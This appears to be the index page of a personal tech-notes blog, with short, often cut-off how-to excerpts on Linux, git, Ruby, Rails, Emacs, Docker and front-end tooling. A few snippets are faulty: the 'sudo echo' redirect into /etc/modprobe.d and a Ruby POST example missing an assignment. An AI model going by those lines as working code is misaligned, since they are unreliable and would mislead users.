Codrut Constantin Gusoi

Chroot in Linux with Encrypted Btrfs

Thu, 08 Jan 2026 18:07:17 +0000

Prerequisites Link to heading

Go into root mode:

sudo -i

Look for your drive:

lsblk -f

# NAME        FSTYPE      LABEL
# nvme0n1
# ├─nvme0n1p1 vfat       EFI
# └─nvme0n1p2 crypto_LUKS

You should have:

nvme0n1p1 → EFI partition
nvme0n1p2 → root LUKS

Usage Link to heading

This is valid, complete, and copy-pastable on all Linux systems using LUKS and BTRFS, but you can skip mounting @home if you don’t need it.

Generate QR Code from CLI

Tue, 03 Jun 2025 11:37:30 +0000

Prereqisites Link to heading

sudo pacman -S qrencode

Also make sure you have a proper UTF8 font installed!

Usage Link to heading

From STDIN:

qrencode -t ansiutf8 <<< "your_string_here"

From file:

qrencode -t ansiutf8 < ~/.ssh/id_ed25519.pub

Terraform Format in CI

Sat, 07 Sep 2024 09:55:49 +0000

Install git and make in your terraform docker image:

# ------------------------------------------------------------------------------
# Packages

RUN set -exo pipefail             && \
                                     \
    echo 'Installing packages'    && \
    apk add --update --no-cache \
      git                       \
      make

Create a Makefile in your terraform directory containing:

.PHONY: init
init:
	@terraform init

.PHONY: fmt
fmt:
	@terraform fmt

.PHONY: validate
validate:
	@terraform validate

Set up your main Makefile with:

# Change this to your specific Terraform version, don't leave it `latest`!
TERRAFORM_VERSION := "latest"

# Running a docker container in the current directory.
DOCKER_HERE := docker run --rm -it -u `id -u`:`id -g` -v "$(PWD)":/here -w /here

.PHONY: ci/terraform
ci/terraform:
	@$(DOCKER_HERE) sdwolfz/terraform:$(TERRAFORM_VERSION) make lint/terraform

.PHONY: lint/terraform
lint/terraform:
	@make -C terraform --no-print-directory init fmt validate
	@git diff --exit-code

Now you can call it in your CI pipeline:

Rails: install Administrate

Tue, 23 Jan 2024 08:21:51 +0000

Gems Link to heading

Add these to your Gemfile:

# Administration
gem 'administrate', '~> 0.20.0'

# Authentication
gem 'devise', '~> 4.9', '>= 4.9.3'

Then install your new gems:

bundle install

Generate Link to heading

bundle exec rails generate devise:install
bundle exec rails generate devise SystemOperator
bundle exec rails generate administrate:install --namespace=operations

bundle exec rails generate administrate:dashboard SystemOperator --namespace=operations

Rails: install ActiveAdmin

Mon, 22 Jan 2024 08:41:29 +0000

Gems Link to heading

Add these to your Gemfile:

# Administration
gem 'activeadmin', '~> 4.0.0.beta4'

# Authentication
gem 'devise', '~> 4.9', '>= 4.9.3'

Then install your new gems:

bundle install

Generate Link to heading

bundle exec rails generate active_admin:install \
  SystemOperator                                \
  --skip-comments                               \
  --no-registerable                             \
  --no-default-user

Create new Rails app through Docker

Sun, 21 Jan 2024 09:43:30 +0000

Shell Link to heading

You need the bigger Debian based docker image for installing Rails as it needs to have gcc and make for building naitve extensions.

docker-here ruby:3.3.0 bash

Rails Link to heading

gem install -N rails

New Link to heading

rails new "name-me"     \
  --skip-bundle         \
  --skip-docker         \
  --skip-jbuilder       \
  --database=postgresql \
  --javascript=esbuild  \
  --css=tailwind

Once this is done you can Ctrl-C to exit the docker shell.

Disallow GPT in robots.txt

Sat, 12 Aug 2023 05:50:06 +0000

Enable robots.txt in your hugo.toml (formerly config.toml):

enableRobotsTXT = true

Add a file layouts/robots.txt with:

User-agent: GPTBot
Disallow: /

User-agent: *
Allow: /

Create a new Ruby gem

Sat, 29 Jul 2023 05:09:02 +0000

Setup Link to heading

Add this to your ~/.bundle/config

---

BUNDLE_GEM__TEST: "minitest"
BUNDLE_GEM__CI: "gitlab"
BUNDLE_GEM__MIT: "false"
BUNDLE_GEM__COC: "false"
BUNDLE_GEM__CHANGELOG: "false"
BUNDLE_GEM__LINTER: "rubocop"

Gem Name Link to heading

Use _ for CamelCase and - for Name::Spaces.

# Library gem
bundle gem <NAME>

# CLI gem
bundle gem --exe <NAME>

RSpec Instance Double

Tue, 11 Jul 2023 19:49:39 +0000

Here is how you can make an assertion on a nested call to another class:

let(:double) { instance_double('something') }

before do
  allow(SomeClass).to receive(:some_method).and_return(double)
  allow(double).to receive(:another).and_return(true)
end

it 'does something useful' do
  subject.call

  expect(SomeClass).to have_received(:some_method).with(args)
  expect(double).to have_received(:another).with(other_args)
end

Easter Eggs: Pacman

Sat, 08 Apr 2023 13:28:45 +0000

Open your pacman.cfg file:

sudo vim /etc/pacman.conf

Uncomment or add these instructions:

Color
ILoveCandy

Update your system with sudo pacman -Syyu.

How to Use: sha256sum

Sun, 02 Apr 2023 16:54:33 +0000

Prerequisites Link to heading

Create a basic file:

echo "abc123" > test123.txt

Digest Link to heading

Find the sha256sum of a file with:

sha256sum test123.txt

You will get the following result:

5ecf8d2cc410094e8b82dd0bc178a57f3aa1e80916689beb00fe56148b1b1256  test123.txt

NOTE: there are 2 spaces between the digest and file name. TWO SPACES!!!

Save that result into a file for easy checking:

sha256sum test123.txt > test123.txt.sha256

Check Link to heading

If there’s a sha256 file available, you can do:

Extract text from page using XPath

Thu, 30 Mar 2023 20:17:39 +0000

let result = document.evaluate(
  '/html/body/div/main/div[1]/div[3]/div',
  document,
  null,
  XPathResult.STRING_TYPE,
  null
)?.stringValue || ''

return result

Ansible noop, resume, and skip

Tue, 21 Feb 2023 13:29:11 +0000

Put one noop task at the beginning and end of your role:

---

- name: ToolInstall
  ansible.builtin.meta: noop

# ...

- name: ToolInstallEnd
  ansible.builtin.meta: noop

Now you can resume from where you left off with:

ansible-playbook playbooks/tool/install.yml --start-at-task=ToolInstall

And you can skip over that role and everything before it with:

ansible-playbook playbooks/tool/install.yml --start-at-task=ToolInstallEnd

Evil Mode: silence movement warnings

Sat, 28 Jan 2023 13:21:29 +0000

If you’re tired of seeing these:

evil-line-move: Beginning of buffer [81 times]
evil-line-move: End of buffer [32 times]
evil-forward-char: End of line [66 times]
evil-backward-char: Beginning of line [66 times]

Add these lines to your dotspacemacs/user-config:

(with-eval-after-load 'evil
  (advice-add 'evil-line-move
    :filter-args
    (lambda (args) (append args '(t))))

  (advice-add 'evil-forward-char
    :filter-args
    (lambda (args) (append (butlast args) '(t))))

  (advice-add 'evil-backward-char
    :filter-args
    (lambda (args) (append (butlast args) '(t)))))

Ruby Ractor: pass an arbitrary block

Sat, 21 Jan 2023 10:51:53 +0000

Let’s say you have a piece of code:

class SomeThing
  def initialize(thing)
    @thing = thing
  end

  def call
    puts @thing.inspect
  end
end

You want to execute this in parallel in a ractor:

Ractor.new { SomeThing.new(1).call }

This works if you have the block written within the Ractor. But it will fail if the block is refferenced from the outside of a ractor.

element = proc { SomeThing.new(1).call }
Ractor.new { element.call }

# <internal:ractor>:267:in `new': can not isolate a Proc because it accesses
#   outer variables (element). (ArgumentError)

To do that you need to instance_eval from a shareable object:

Git init without branch hint

Sat, 14 Jan 2023 13:16:34 +0000

If you run git init you will get this yellow hint:

hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint:   git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint:   git branch -m <name>

This is annoying, pointless, and a complete waste of the git core developer’s time as well as ours.

Git root empty commit

Sun, 08 Jan 2023 13:15:48 +0000

The best way to structure yout repository is to have an empty root commit and to squash all the other commits periodically onto the second. This reduces the repository size making it easier to clone in CI and for your end users.

Empty root commit Link to heading

Create an empty commit:

git commit -m 'Initial commit' --allow-empty

Rebase until your root commit:

git rebase -i --root

Move the last commit at the very top of your commit list.

Linux Bootable USB

Thu, 17 Nov 2022 09:00:46 +0000

Usage Link to heading

sudo dd                                         \
  bs=4M status=progress oflag=direct conv=fsync \
  if=/path/to/linux.iso                         \
  of=/dev/sda

Details Link to heading

bs: Buffer size
status=progress: shows 3749707776 bytes (3.7 GB, 3.5 GiB) copied, 913 s, 4.1 MB/s
oflag=direct: actually write to USB instead of cache
conv=fsync: actually write to USB instead of cache for real this time
if: Input File
of: USB drive

You find the USB drive using the lsblk command.

Concatenate shell commands

Thu, 13 Oct 2022 08:16:04 +0000

Steps Link to heading

Fetch a command with either:

C-e C-u: go to end of line, cut until beginning of line.
C-a C-k: go to start of line, cut until end of line.

Navigate to older command with:

C-p: previous command.
C-r: search command (use fzf for better results).

Navigate to the end with C-e and type &&.

Now you can paste with C-y.

Result Link to heading

This will turn…

Prepend to $PATH in bash

Sat, 01 Oct 2022 10:49:32 +0000

You should always check if the value is present in a list before adding it in.

function prepend_path () {
  case ":${PATH}:" in
    *:"$1":*)
    ;;
    *)
      PATH="$1:${PATH}"
  esac
}

Usage Link to heading

prepend_path ~/.local/bin

Cleanup Link to heading

unset prepend_path

Pretty print Linux $PATH

Sun, 25 Sep 2022 10:19:10 +0000

Bash

echo $PATH | sed "s/:/\n/g"

Ruby Version Manager: rbenv

Sun, 18 Sep 2022 10:01:05 +0000

Docker Link to heading

The best way to manage ruby for your project is by using Docker:

If you don’t have a Docker setup yet, you have to suffer, temporarily, by using rbenv. There used to be another tool called rvm for this sort of thing but it’s been abandoned for a long time now, it’s insecure to install from their website, has install errors, and it’s completely broken for newer versions of ruby and newer versions of OpenSSL. Your only real option is to use rbenv.

How to install Homebrew securely

Sat, 17 Sep 2022 12:18:08 +0000

The instructions at https://brew.sh/ are extremely dangerous! Here is how to install homebrew properly.

NOTE: we assume your homebrew path is: ~/Workspace/Hub/brew

Code Link to heading

Clone the repository:

git clone https://github.com/Homebrew/brew.git ~/Workspace/Hub/brew

cd ~/Workspace/Hub/brew

Review the code carefully!
Check the commit sha matches the one from the last commit on the repository website:
```
git rev-parse HEAD
```
Now you have a secure copy of the repository and you can automate the process.

Test for Emacs compiler warnings

Sat, 10 Sep 2022 10:55:37 +0000

Setup Link to heading

Your .gitignore:

*.elc

A Makefile containing:

.PHONY: compile
compile:
	@emacs -q -batch \
	  --eval '(setq byte-compile-error-on-warn t)' \
	  -f batch-byte-compile \
	  *.el

The first indentation is a tab, the following two are spaces. Makefiles just work this way for reasons beyond human comprehension.

Run Link to heading

Executing make compile will compile all your .el files and error in case there are any warnings.

Git refined diff output

Fri, 09 Sep 2022 07:29:17 +0000

Package Link to heading

Find the location of your diff-highlight package:

Manjaro/Arch

pacman -Ql git | grep diff-highlight

Debian/Ubuntu

dpkg -L git | grep diff-highlight

Fedora

rpm -ql git | grep diff-highlight

Configure Link to heading

Edit your ~/.gitconfig to contain this section:

How to Use: ansible-lint

Sat, 23 Jul 2022 09:47:49 +0000

Install Link to heading

From package:

# Manjaro / Arch
sudo pacman -S ansible-lint

# Alpine
apk add --update ansible-lint

From Docker (no official image so use mine):

docker run --rm -it -v "$PWD":/work -w /work sdwolfz/ansible-lint:latest sh

Configure Link to heading

Add a .ansible-lint file containing your rules:

---

skip_list:
  - yaml  # Violations reported by yamllint.

Use Link to heading

ansible-lint roles/**/*

Disable annoying Linux bell sound

Thu, 23 Jun 2022 23:59:06 +0000

Basic Link to heading

sudo echo 'blacklist pcspkr' > /etc/modprobe.d/nobeep.conf

And restart your machine!

Automated Link to heading

Add this to an ansible role roles/os/configure/nobeep.yml:

# -------------------------------------------------------------------------------
# Bell Sound
# -------------------------------------------------------------------------------

- name: Blacklist the pcspkr module to silence horrendous beeps
  copy:
    dest: /etc/modprobe.d/nobeep.conf
    content: |
      blacklist pcspkr
  become: true

Reference it in a playbook playbooks/os/configure.yml:

---

- hosts: localhost
  roles:
    - { role: ../../roles/os/configure/nobeep }

And invoke that playbook:

HTML Tabs without Javascript

Thu, 12 May 2022 18:46:07 +0000

HTML Link to heading

<div class="tabs tab-right">
  <style>
    .tabs input#tab1:checked ~ .tab-content-1,
    .tabs input#tab2:checked ~ .tab-content-2,
    .tabs input#tab3:checked ~ .tab-content-3 {
      display: block;
    }
  </style>

  <input type="radio" name="tab-select" id="tab1" checked />
  <label for="tab1">Ruby</label>
  <div class="tab-content tab-content-1">

~~~ruby
puts 'Hello'
~~~

  </div>

  <input type="radio" name="tab-select" id="tab2" />
  <label for="tab2">Python</label>
  <div class="tab-content tab-content-2">

~~~python
print('Hello')
~~~

  </div>

  <input type="radio" name="tab-select" id="tab3" />
  <label for="tab3">Javascript</label>
  <div class="tab-content tab-content-3">

~~~js
console.log('Hello')
~~~

  </div>
</div>

CSS Link to heading

<style>
  /* Parent */
  .tabs {
    margin: 2rem 0 2rem 0;
    display: flex;
    flex-wrap: wrap;
    position: relative;
  }
  .tabs.tab-left {
    justify-content: flex-start;
  }
  .tabs.tab-right {
    justify-content: flex-end;
  }

  /* Floating */
  .tabs.tab-left label {
    margin-right: 0.5rem;
  }
  .tabs.tab-right label {
    margin-left: 0.5rem;
  }

  /* Input */
  .tabs input {
    display: none;
  }

  /* Label */
  .tabs label {
    background-color: #e0e0e0;
    border-width: 1px;
    border-style: solid;
    border-color: #ccc;
    border-bottom-style: hidden;
    border-radius: 4px 4px 0px 0px;
    position: relative;
    cursor: pointer;
    display: inline-block;
    padding: 0.3rem 0.6rem;
    user-select: none;
    order: 1;
    position: relative;
    top: 1px;
  }
  .tabs input:checked + label {
    background-color: #fafafa;
  }

  /* Content */
  .tabs .tab-content {
    background-color: #fafafa;
    display: none;
    padding: 1rem;
    border-width: 1px;
    border-style: solid;
    border-color: #ccc;
    width: 100%;
    order: 2;
  }
  .tabs.tab-left .tab-content {
    border-radius: 0px 4px 4px 4px;
  }
  .tabs.tab-right .tab-content {
    border-radius: 4px 0px 4px 4px;
  }
</style>

Result Link to heading

Some text at the top to see it’s positioned properly!

Check for Git differences in CI

Tue, 03 May 2022 07:49:16 +0000

The command is:

git diff --exit-code

Prints the diff and exits with status code 1.

CI Link to heading

generate:
  image: ruby:3.1.2-alpine
  script:
    - apk add --update git make
    - make generate
    - git diff --exit-code

Local packages in Spacemacs

Mon, 02 May 2022 08:53:58 +0000

Are you a hardcore elisp programmer? Add this to your ~/.spacemacs:

dotspacemacs-additional-packages '(
 (treemacs :location
             (recipe :fetcher file
                     :path "~/path/to/treemacs/src/elisp")
           :update nil))

Now you can hack on any emacs package in your live editor!

Notes Link to heading

You will need to manually delete the package from ~/.emacs.d/elpa/29.0/develop.
The path is supposed to point to the location of *.el files.
Heavy lifting is done by quelpa, read their docs!

Reference Link to heading

https://github.com/quelpa/quelpa

How to Use: esbuild

Thu, 28 Apr 2022 21:38:03 +0000

Install Link to heading

npm init
npm install --save-dev esbuild

Setup Link to heading

Add this to your esbuild.js file:

const esbuild = require('esbuild')

const targets = ['chrome58', 'firefox57', 'safari11']

esbuild.build({
  entryPoints: ['src/main.js'],
  outfile:     'dist/bundle.min.js',

  bundle:    true,
  minify:    true,
  sourcemap: true,

  target:   targets,
  platform: 'browser',
  format:   'iife',

  globalName: 'UsefulPackage'
}).catch(() => process.exit(1))

Code Link to heading

Write your code in js files like src/some-class.js:

class SomeClass {
  constructor() {
    console.log('SomeClass instantiated!')
  }
}

export default SomeClass

Import it into your src/main.js file:

Ruby Benchmarking

Sat, 16 Apr 2022 12:18:01 +0000

Tips Link to heading

Disable garbage collection when benchmarking for more accurate results.

GC.disable

# ------------------------------------------------------------------------------
# Code goes here

# ------------------------------------------------------------------------------

GC.enable

Basic Link to heading

require 'benchmark'

count  = 10_000
io     = StringIO.new
result = Benchmark.measure do
  count.times do
    io.puts 'Hello'
  end
end

puts result

#     user     system       toal        real
# 0.045354   0.099388   0.144742 (  0.145264)

Advanced Link to heading

require 'benchmark'
require 'stringio'
require 'pp'

count  = 10_000
io     = StringIO.new
result = Benchmark.bmbm do |benchmark|
  benchmark.report('inspect') do
    count.times do
      io.puts 'Hello'.inspect
    end
  end

  benchmark.report('pretty_inspect') do
    count.times do
      io.puts 'Hello'.pretty_inspect
    end
  end
end

# Rehearsal --------------------------------------------------
# inspect          0.007339   0.000000   0.007339 (  0.007391)
# pretty_inspect   0.625188   0.330933   0.956121 (  0.982394)
# ----------------------------------------- total: 0.963460sec
#
#                      user     system      total        real
# inspect          0.007655   0.000510   0.008165 (  0.008544)
# pretty_inspect   0.668881   0.257305   0.926186 (  0.948372)

Legendary Link to heading

Use these gems for more advanced benchmarking strategies:

How to Use: Minitest Mocks

Fri, 15 Apr 2022 20:10:16 +0000

Prerequisite Link to heading

Ruby Minitest and Simplecov starter

Usage Link to heading

# Create a mock
mock = Minitest::Mock.new

# Add expectations.
#
# Arguments:
#   1. Method name
#   2. What to return when called
#   3. Expected inputs
mock.expect(:read!, { result: 1 }, ['first'])

# Now you pass the mock around and execute your tests.
subject = described_class.new(something: mock)
subject.add(:a)

# Verify the expectations were met.
mock.verify

Limitations Link to heading

You can’t mock #respond_to? for some reason, at least I could not when I tried it. But it might have been a bug and it works now? Can somebody verify?

Ruby HTTP calls

Mon, 03 Jan 2022 09:30:29 +0000

Setup Link to heading

Use the basic, standard, bundled, ruby HTTP library, no other gem needed.

require 'net/http'

url     = 'https://www.codrut.pro'
headers = { 'X-HELLO' => 'world' }
use_ssl = true

GET Link to heading

params = { 'a' => 1 }
result = nil

uri = URI(url)
Net::HTTP.start(uri.host, uri.port, use_ssl: use_ssl) do |http|
  uri.query = URI.encode_www_form(params) if params
  request   = Net::HTTP::Get.new(uri)

  headers&.each_pair do |key, value|
    request[key] = value
  end

  result = http.request(request)
end

puts result.code
puts result.body

POST Link to heading

body   = { 'b' => 2 }.to_json
result = nil

uri = URI(url)
Net::HTTP.start(uri.host, uri.port, use_ssl: use_ssl) do |http|
  request = Net::HTTP::Post.new(uri)

  headers&.each_pair do |key, value|
    request[key] = value
  end

  result http.request(request, body)
end

puts result.code
puts result.body

Edit linux application shortcuts

Sun, 31 Oct 2021 12:38:12 +0000

Locations:

# System
/usr/share/applications/
/usr/local/share/applications/

# Flatpak
/var/lib/flatpak/exports/share/applications/

# Snap
/var/lib/snapd/desktop/applications/

# Local
~/.local/share/applications/

Search for your application in those directories and edit the files, using root privileges where necessary.

sudo vim /usr/share/applications/org.gnome.Terminal.desktop

Now edit what you need, like the application command to add extra flags:

TryExec=gnome-terminal
Exec=gnome-terminal --full-screen
Icon=org.gnome.Terminal
Type=Application

Tip: leave TryExec alone!

You can also add environment variables using env:

Exec=env LANG=en_GB.UTF-8 gnome-terminal --full-screen

Copy it to ~/.local/share/applications if you don’t want to edit the original.

JournalCTL cheatsheet

Tue, 26 Oct 2021 16:02:29 +0000

History Link to heading

View history:

journalctl -b

Tail history:

journalctl -b -f

Cleanup Link to heading

sudo journalctl --vacuum-size=100M

Ruby: pass around a block

Mon, 25 Oct 2021 11:12:19 +0000

You have the following:

callable = proc { puts 'Hello' }

Pass it to a function like this:

def pass_me_something
  yield if block_given?
end

pass_me_something(&callable)

Or be explicit:

def pass_me_something(&block)
  block.call if block_given?
end

pass_me_something(&callable)

You can also be weird:

def pass_me_something(block)
  block.call if block&.is_a?(Proc)
end

pass_me_something(callable)

Emacs Lisp macro to evaluate arguments

Mon, 18 Oct 2021 23:42:59 +0000

One argument:

(defmacro macro-evaluates-arg (arg)
  "Evaluate `ARG'."
  `(when (not (null arg))
     ,arg))

Multiple arguments:

(defmacro macro-evaluates-args (&rest args)
  "Evaluate `ARGS'."
  `(when (not (null args))
     ,@args))

Git branch names

Wed, 13 Oct 2021 13:54:36 +0000

Rules Link to heading

Here are my rules for git branch names:

Don’t start with the letter m, that’s reserved for master or main.
No prefixes!
No ids inside branch names.
Use english words, more than one…
Pick either - or _ for separator, but be consistent, never mix.
Use common sense!

That’s it, simple to follow and tab complete in a terminal!

Note: don’t forget to delete barnches once they’re merged, there’s no use for them.

Remove node package funding spam

Thu, 30 Sep 2021 14:33:45 +0000

JavaScript developers have no dignity! Here is how you can restore it:

npm config set fund false

Docker Link to heading

Add this to your Dockerfile:

# ------------------------------------------------------------------------------
# NPM

RUN set -ex                                            && \
                                                          \
    echo 'Restore dignity to the jacascript community' && \
    npm config set fund false

Check if a port is open

Thu, 01 Jul 2021 11:58:08 +0000

Install Link to heading

sudo pacman -S openbsd-netcat

Use Link to heading

With an IP:

nc -v 127.0.0.1 5432

Or a URL:

nc -v www.codrut.pro 443

List all open ports

Tue, 29 Jun 2021 08:33:30 +0000

netstat -atun

Now either grep or browse to see if you accidentally exposed your database to the world.

Shell script infinite loop

Fri, 11 Jun 2021 13:24:23 +0000

Useful for all sorts of things:

while true; do echo 'Inside the loop'; sleep 5; done

Webpack and Babel setup for Javascript

Thu, 03 Jun 2021 11:33:51 +0000

Setup package.json by running:

npm init -y

Add packages:

npm install --save-dev \
  @babel/core          \
  @babel/preset-env    \
  babel-loader         \
  webpack              \
  webpack-cli

Create webpack.config.js with index.js as your main, and bundle.js as output:

const webpack = require('webpack');
const path = require('path');

const config = {
  entry: 'index.js',
  output: {
    path: path.resolve(__dirname),
    filename: 'bundle.js',
    library: 'SomeClass',
    libraryTarget: 'var',
  },
  mode: 'development',
  module: {
    rules: [
      {
        test: /\.js$/,
        use: 'babel-loader',
        exclude: /node_modules/
      }
    ]
  }
};

module.exports = config;

Create .babelrc with:

{
  presets: [
    [
      '@babel/preset-env',
      {
        modules: false
      }
    ]
  ]
}

Write your index.js file:

Ruby CSV manipulation

Sat, 22 May 2021 12:27:56 +0000

Read Link to heading

file = CSV.open('path/to/file.csv', col_sep: ',')
file.each do |line|
  pp line
end

Write Link to heading

header  = ['A', 'B', 'C']
content = [[1, 2, 3], [4, 5, 6]]

csv = CSV.generate do |output|
  output << header

  content.each do |item|
    output << item
  end
end

File.write('result.csv', csv)

Remove metadata from images and documents

Thu, 20 May 2021 09:37:23 +0000

Every image or document you create has built in spyware, remove it like this:

Install Link to heading

sudo pacman -S perl-image-exiftool

Usage Link to heading

exiftool -overwrite_original_in_place -all= path-to-file

Convert PDF to PNG and back

Wed, 19 May 2021 08:48:08 +0000

Prerequisites Link to heading

sudo pacman -S gimp imagemagick poppler

PDF to PNG Link to heading

Create a directory with your INITAIL.pdf then execute this inside of it:

pdftoppm INITIAL.pdf prefix-for-images -png

Do whatever Link to heading

Edit your images in gimp for example:

gimp prefix-for-images-1.png

Join PNGs to PDF Link to heading

convert prefix-for-images-*.png FINAL.pdf

Enable systemd-oomd

Wed, 12 May 2021 18:55:30 +0000

Prerequisites Link to heading

Make sure you have systemd installed with at least version 248:

pacman -Ss systemd | grep "core/systemd "

# core/systemd 248.2-1.1 [installed]

Setup Link to heading

Check if the service is active:

systemctl status systemd-oomd.service

Enable and start it with:

sudo systemctl enable systemd-oomd.service
sudo systemctl start  systemd-oomd.service

Trial Link to heading

Check it’s working properly by starting htop in a terminal window:

Emacs Lisp interactive debugging

Mon, 10 May 2021 11:05:44 +0000

Navigate to your function.
Instrument it with C-u M-x eval-defun, or C-u , e f in Spacemacs.
Execute that function.

Debug with these shortcuts:

Key	Action
`s`	Next sexp.
`i`	Step in.
`o`	Step out.
`d`	Backtrace.
`Q`	Quit.

Once you’re done, re-evaluate all functions (without C-u), or simply restart.

Replace string in all files with sed

Sun, 09 May 2021 01:55:19 +0000

find . -type f -exec sed -i 's/STRING GOES HERE/REPLACEMENT HERE/g' {} +

Make sure to escape brackets (\[\]):

find . -type f -exec sed -i 's|Click \[here\](/here/)!|Click HERE!|g' {} +

HTML datalist

Thu, 06 May 2021 11:51:19 +0000

Markup Link to heading

<label for="input-ID">Search for a word:</label>
<input list="datalist-ID" id="input-ID" name="input-NAME" />

<datalist id="datalist-ID">
  <option value="some">
  <option value="random">
  <option value="words">
  <option value="to">
  <option value="search">
  <option value="lol">
</datalist>

Result Link to heading

Search for a word:

Caveats Link to heading

It doesen’t work on Firefox Mobile on Android, of course…

https://bugzilla.mozilla.org/show_bug.cgi?id=1535985

How to Use: rubocop

Tue, 04 May 2021 10:00:23 +0000

Install Link to heading

gem install rubocop

Configure Link to heading

Create a global .rubocop.yml file in your home directory:

touch ~/.rubocop.yml

And add in any general rules:

---

Layout/HashAlignment:
  EnforcedColonStyle: table

Style/WordArray:
  EnforcedStyle: brackets

Project Link to heading

Do the same thing as above, but in your project root directory.

NOTE: Do not inherit from global config inside your project, EVER!

How to Use: gzip

Mon, 03 May 2021 20:09:12 +0000

Install Link to heading

sudo pacman -S gzip

Prerequisites Link to heading

Create a playground:

mkdir archive-test
cd archive-test

Create some content:

mkdir content
echo content1 >> content/file1
echo content2 >> content/file2
echo content3 >> content/file3

Back up your content:

tar -cf archive-1.tar content

Compress Link to heading

gzip -9 -f -k archive-1.tar

Extract Link to heading

gunzip -f -k archive-1.tar.gz

Or:

Firefox remote debugging

Sat, 24 Apr 2021 12:32:59 +0000

If you haven’t done already, then Enable ‘Developer options’ on your phone.
Enable Remote debugging via USB in your mobile browser’s settings.
Make sure your devices are properly connected via USB.
Visit about:debugging in your laptop browser.
Press Connect next to your device.
Select your device and press Inspect on your desired tab.

CLI universal opener

Thu, 22 Apr 2021 21:16:34 +0000

Install Link to heading

sudo pacman -S xdg-utils

Use Link to heading

xdg-open path/to/file/or/direcotry

But typing xdg-open is hard, shorten it with:

sudo ln -s /usr/bin/xdg-open /usr/bin/open

Why this is not set up like so by default is beyond me…

Tmux natural smooth scroll

Wed, 21 Apr 2021 09:17:53 +0000

Tmux is not capable of picking up natural scroll, you need to configure it:

# Mouse support.
set -g mouse on

# Natural scroll, line by line.
bind-key -T copy-mode-vi WheelUpPane   send-keys -X scroll-down-and-cancel
bind-key -T copy-mode-vi WheelDownPane send-keys -X scroll-up

# Don't overwrite scroll for tools that already know about it.
bind-key -n WheelDownPane if-shell -F "#{||:#{pane_in_mode},#{mouse_any_flag}}" "send -M" "copy-mode -e"

Ruby JIT

Tue, 13 Apr 2021 10:45:39 +0000

First, make sure you have at least ruby version 2.6, then enable it with a flag:

ruby --jit ./my-ruby-script.rb

Or with an environment vairable:

RUBYOPT="--jit"

If you want to see JIT output in your console do:

RUBYOPT="--jit --jit-verbose=1"

And that’s it, now let it do it’s thing!

Switch between Pacman branches

Wed, 31 Mar 2021 15:39:51 +0000

For the testing branch:

sudo pacman-mirrors -aS testing

Stable can be set back with:

sudo pacman-mirrors -aS stable

And so on…

Repeat a key every second

Tue, 30 Mar 2021 21:04:03 +0000

Install Link to heading

sudo pacman -S xdotool

Use Link to heading

while true; do xdotool key ctrl+r; sleep 1; done

Close stuck SSH session

Tue, 23 Mar 2021 18:15:08 +0000

Press: Enter then ~ then .

Find SSD capacity loss

Tue, 16 Mar 2021 15:12:51 +0000

SSDs degrade over time with usage, here’s how you find out how much you lost so far…

Install Link to heading

sudo pacman -S smartmontools

Run Link to heading

sudo smartctl --all /dev/nvme0

Result Link to heading

One of the lines will look like this:

Percentage Used:                    28%

That means you lost over a quarter of your storage. Buy better hardware next time!

Get SSH key fingerprint

Thu, 11 Feb 2021 07:29:57 +0000

ssh-keygen -l -E md5 -f ~/.ssh/my-ssh-key

It will display something like this:

256 MD5:8e:1c:b5:a3:f5:09:ca:72:ad:f0:1b:5d:ed:2a:03:38 my-ssh-key (ED25519)

Remap keys using setxkbmap

Sun, 24 Jan 2021 17:15:32 +0000

Remap CapsLock to Escape and AltGr to Alt:

setxkbmap -option caps:escape,lv3:ralt_alt

Reset with:

setxkbmap -option

Persistence Link to heading

Set XkbOptions in /etc/X11/xorg.conf.d/00-keyboard.conf:

Section "InputClass"
  Identifier "system-keyboard"
  MatchIsKeyboard "on"
  Option "XkbLayout" "gb"
  Option "XkbModel" "pc105"
  Option "XkbOptions" "caps:escape,lv3:ralt_alt"
EndSection

Now restart your machine.

Alternative Link to heading

If the above did not work try /etc/default/keyboard:

XKBMODEL="pc105"
XKBLAYOUT="gb"
XKBVARIANT=""
XKBOPTIONS="caps:escape,lv3:ralt_alt"

BACKSPACE="guess"

You can either restart or execute:

Docker compose nginx proxy

Sat, 23 Jan 2021 19:39:33 +0000

Create some nginx config files for custom setup:

mkdir -p ./config/settings/per_host

echo 'client_max_body_size 10m;' > ./config/settings/proxy_wide.conf
echo 'client_max_body_size 20m;' > ./config/settings/per_host/myporject.test

Save this as your docker-compose.yml file:

#-------------------------------------------------------------------------------
# Version
#-------------------------------------------------------------------------------

version: '2.4'

#-------------------------------------------------------------------------------
# Networks
#-------------------------------------------------------------------------------

networks:
  backend_network:
    driver: bridge
  frontend_network:
    driver: bridge
    name: nginx-reverse-proxy-network

#-------------------------------------------------------------------------------
# Volumes
#-------------------------------------------------------------------------------

volumes:
  proxy_dhparam:
    driver: local
  proxy_certs:
    driver: local
  proxy_html:
    driver: local

#-------------------------------------------------------------------------------
# Logging
#-------------------------------------------------------------------------------

x-default-logging: &logging
  logging:
    options:
      max-size: '12m'
      max-file: '5'
    driver: json-file

#-------------------------------------------------------------------------------
# Services
#-------------------------------------------------------------------------------

services:

  #-----------------------------------------------------------------------------
  # Proxy

  proxy:
    image: jwilder/nginx-proxy:latest
    <<: *logging
    mem_limit: '200m'
    memswap_limit: '500m'
    networks:
      - backend_network
      - frontend_network
    ports:
      - '127.0.0.1:80:80'
      - '127.0.0.1:443:443'
    restart: on-failure
    ulimits:
      nproc: 10000
      nofile: 90000
    volumes:
      - proxy_dhparam:/etc/nginx/dhparam
      - proxy_certs:/etc/nginx/certs
      - proxy_html:/usr/share/nginx/html
      - /var/run/docker.sock:/tmp/docker.sock:ro
      - ./config/settings/proxy_wide.conf:/etc/nginx/conf.d/proxy_wide.conf:ro
      - ./config/settings/per_host:/etc/nginx/vhost.d

  #-----------------------------------------------------------------------------
  # Let's Encrypt

  letsencrypt:
    image: jrcs/letsencrypt-nginx-proxy-companion:latest
    <<: *logging
    mem_limit: '500m'
    memswap_limit: '1g'
    networks:
      - backend_network
    restart: on-failure
    ulimits:
      nproc: 10000
      nofile: 90000
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - ./config/settings/per_host:/etc/nginx/vhost.d
    volumes_from:
      - proxy

Spin it up with:

docker-compose up -d

Connect to the external network in all your other projects:

#-------------------------------------------------------------------------------
# Networks
